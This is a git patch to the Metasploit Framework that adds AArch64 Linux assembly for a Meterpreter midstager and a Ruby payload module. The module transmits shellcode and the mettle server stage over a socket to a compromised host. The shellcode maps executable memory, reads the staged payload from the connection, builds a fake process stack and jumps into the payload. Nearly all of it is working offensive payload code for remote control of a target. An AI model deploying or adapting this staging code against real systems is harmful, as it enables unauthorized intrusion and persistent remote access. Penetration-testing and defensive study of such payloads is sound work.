From a2396991f0ab6a53dbf01e880e931474005adb93 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 29 Aug 2017 10:22:04 +0800 Subject: [PATCH] stager not setting up stack --- .../shellcode/linux/aarch64/stage_mettle.s | 137 ++++++++++++++++++ .../stages/linux/aarch64/meterpreter.rb | 109 ++++++++++++++ 2 files changed, 246 insertions(+) create mode 100644 external/source/shellcode/linux/aarch64/stage_mettle.s create mode 100644 modules/payloads/stages/linux/aarch64/meterpreter.rb diff --git a/external/source/shellcode/linux/aarch64/stage_mettle.s b/external/source/shellcode/linux/aarch64/stage_mettle.s new file mode 100644 index 0000000000..b10f4b8a32 --- /dev/null +++ b/external/source/shellcode/linux/aarch64/stage_mettle.s @@ -0,0 +1,137 @@ +.equ SYS_READ, 0x3f +.equ SYS_MMAP, 0xde +.equ SYS_EXIT, 0x5d + +.equ SIZE, 0xeeeeeeee +.equ ENTRY, 0xffffffff + +start: + adr x2, size + ldr w2, [x2] + mov x10, x2 + + /* Page-align, assume <4GB */ + lsr x2, x2, #12 + add x2, x2, #1 + lsl x2, x2, #12 + + /* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */ + mov x0, xzr + mov x1, x2 + mov x2, #7 + mov x3, #34 + mov x4, xzr + mov x5, xzr + mov x8, SYS_MMAP + svc 0 + + /* Grab the saved size, save the address */ + mov x4, x10 + + /* Save the memory address */ + mov x3, x0 + mov x10, x0 + +read_loop: + /* read(sockfd, buf='x3', nbytes='x4') */ + mov x0, x12 + mov x1, x3 + mov x2, x4 + mov x8, SYS_READ + svc 0 + cbz w0, failed + add x3, x3, x0 + subs x4, x4, x0 + bne read_loop + + /* set up the initial stack */ + /* + + add sp, sp, #80 + mov x4, #109 + eor x5, x5, x5 + stp x4, x5, [sp, #-16]! + + mov x1,#2 + mov x2,sp + mov x3,#0 + + mov x4,#2 + mov x5,sp + mov x6,x12 + mov x7,#0 + mov x8,#0 + mov x9,#7 + mov x10,x10 + mov x11,#0 + mov x12,#0 + + eor x0, x0, x0 + eor x1, x1, x1 + eor x2, x2, x2 + eor x3, x3, x3 + stp x4, x5, [sp, #-16]! + stp x6, x7, [sp, #-16]! + stp x7, x8, [sp, #-16]! + stp x9, x10, [sp, #-16]! + stp x11, x12, [sp, #-16]! + */ + + adr x0, entry + ldr x0, [x0] + // entry_offset + mmap + add x0, x0, x10 + + mov x8, x0 + + + /* Set up the fake stack. + For whatever reason, aarch64 binaries really want AT_RANDOM + to be available. */ + /* AT_NULL */ + eor x0, x0, x0 + eor x1, x1, x1 + stp x0, x1, [sp, #-16]! + /* AT_RANDOM */ + mov x2, #25 + mov x3, sp + stp x2, x3, [sp, #-16]! + + /* argc, argv[0], argv[1], envp */ + /* ideally these could all be empty, but unfortunately + we have to keep the stack aligned. it's easier to + just push an extra argument than care... */ + stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */ + mov x0, 1 + mov x1, sp + stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */ + + br x8 + + /* + mov x0, #109 + mov x1, x12 + stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */ + /* mov x0, 2 + mov x1, sp + stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */ + + /* + blr x8 + */ + +failed: + mov x0, 0 + mov x8, SYS_EXIT + svc 0 + +.balign 16 +size: + .word SIZE + .word 0 +entry: + .word ENTRY + .word 0 +m: +.word 0x0000006d +.word 0x00000000 diff --git a/modules/payloads/stages/linux/aarch64/meterpreter.rb b/modules/payloads/stages/linux/aarch64/meterpreter.rb new file mode 100644 index 0000000000..43a0ca6615 --- /dev/null +++ b/modules/payloads/stages/linux/aarch64/meterpreter.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/base/sessions/meterpreter_aarch64_linux' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'Adam Cammack ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + + # Generated from external/source/shellcode/linux/aarch64/stage_mettle.s + midstager = [ + + + + 0x10000582, # adr x2, b0 + 0xb9400042, # ldr w2, [x2] + 0xaa0203ea, # mov x10, x2 + 0xd34cfc42, # lsr x2, x2, #12 + 0x91000442, # add x2, x2, #0x1 + 0xd374cc42, # lsl x2, x2, #12 + 0xaa1f03e0, # mov x0, xzr + 0xaa0203e1, # mov x1, x2 + 0xd28000e2, # mov x2, #0x7 // #7 + 0xd2800443, # mov x3, #0x22 // #34 + 0xaa1f03e4, # mov x4, xzr + 0xaa1f03e5, # mov x5, xzr + 0xd2801bc8, # mov x8, #0xde // #222 + 0xd4000001, # svc #0x0 + 0xaa0a03e4, # mov x4, x10 + 0xaa0003e3, # mov x3, x0 + 0xaa0003ea, # mov x10, x0 + 0xaa0c03e0, # mov x0, x12 + 0xaa0303e1, # mov x1, x3 + 0xaa0403e2, # mov x2, x4 + 0xd28007e8, # mov x8, #0x3f // #63 + 0xd4000001, # svc #0x0 + 0x34000260, # cbz w0, a4 + 0x8b000063, # add x3, x3, x0 + 0xeb000084, # subs x4, x4, x0 + 0x54ffff01, # b.ne 44 + 0x10000280, # adr x0, b8 + 0xf9400000, # ldr x0, [x0] + 0x8b0a0000, # add x0, x0, x10 + 0xaa0003e8, # mov x8, x0 + 0xca000000, # eor x0, x0, x0 + 0xca010021, # eor x1, x1, x1 + 0xa9bf07e0, # stp x0, x1, [sp,#-16]! + 0xd2800322, # mov x2, #0x19 // #25 + 0x910003e3, # mov x3, sp + 0xa9bf0fe2, # stp x2, x3, [sp,#-16]! + 0xa9bf07e0, # stp x0, x1, [sp,#-16]! + 0xd2800020, # mov x0, #0x1 // #1 + 0x910003e1, # mov x1, sp + 0xa9bf07e0, # stp x0, x1, [sp,#-16]! + 0xd61f0100, # br x8 + 0xd2800000, # mov x0, #0x0 // #0 + 0xd2800ba8, # mov x8, #0x5d // #93 + 0xd4000001, # svc #0x0 + payload.length, + 0x00000000, # .word 0x00000000 + entry_offset, + 0x00000000, # .word 0x00000000 + 0x0000006d, # .word 0x0000006d + 0x00000000, # .word 0x00000000 + 0xd503201f, # nop + 0xd503201f, # nop + ].pack('V*') + + print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)") + print_status("Transmitting intermediate paystager...(#{payload.length} bytes)") + conn.put([midstager.length].pack('V')) + conn.put(midstager) == midstager.length + end + + def generate_stage(opts = {}) + MetasploitPayloads::Mettle.new('aarch64-linux-musl', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image + end +end